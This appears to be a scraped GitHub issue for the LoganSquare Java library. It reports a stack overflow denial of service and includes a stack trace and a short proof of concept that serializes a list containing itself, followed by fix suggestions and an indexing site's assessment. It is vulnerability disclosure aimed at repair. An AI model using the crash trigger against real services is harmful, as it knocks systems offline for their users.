bluelinelabs / bluelinelabs/LoganSquare

Stack overflow error caused by logansquare serialization List

Open
#239 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
Java
Stars
3.2k
Forks
303
PR merge metrics
No merged PRs in 30d

Description

# Stack overflow error caused by logansquare serialization List

## Description

logansquare before v1.3.7 was discovered to contain a stack overflow via the List parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string.

## Error Log

```
Exception in thread "main" java.lang.StackOverflowError
at com.fasterxml.jackson.core.json.WriterBasedJsonGenerator._verifyValueWrite(WriterBasedJsonGenerator.java:939)
at com.fasterxml.jackson.core.json.WriterBasedJsonGenerator.writeStartArray(WriterBasedJsonGenerator.java:252)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:267)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)

```

## PoC
```xml

com.bluelinelabs
logansquare
1.3.7

```

```java
import com.bluelinelabs.logansquare.LoganSquare;

import java.io.IOException;
import java.util.ArrayList;

public class PoC3 {

public static void main(String[] args) {
ArrayList list = new ArrayList<>();
list.add(list);
try {
LoganSquare.serialize(list);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

```

## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)

2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))

## References

1. https://github.com/jettison-json/jettison/issues/52
2. https://github.com/jettison-json/jettison/pull/53/files

Contributor guide

No contributing guide indexed for this repository

Research direction

Start by reproducing the PoC and reading the serialization flow shown in the trace: JsonMapper.java, internal/objectmappers/ListMapper.java, and internal/objectmappers/ObjectMapper.java. Determine how recursive lists are handled and compare the referenced Jackson and Gson approaches. Done means the crafted self-referential list no longer causes StackOverflowError and the behavior is covered by an appropriate regression test.

Written by the indexing model from the issue text.

Assessment

Tech stack
java
Domain
backend
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.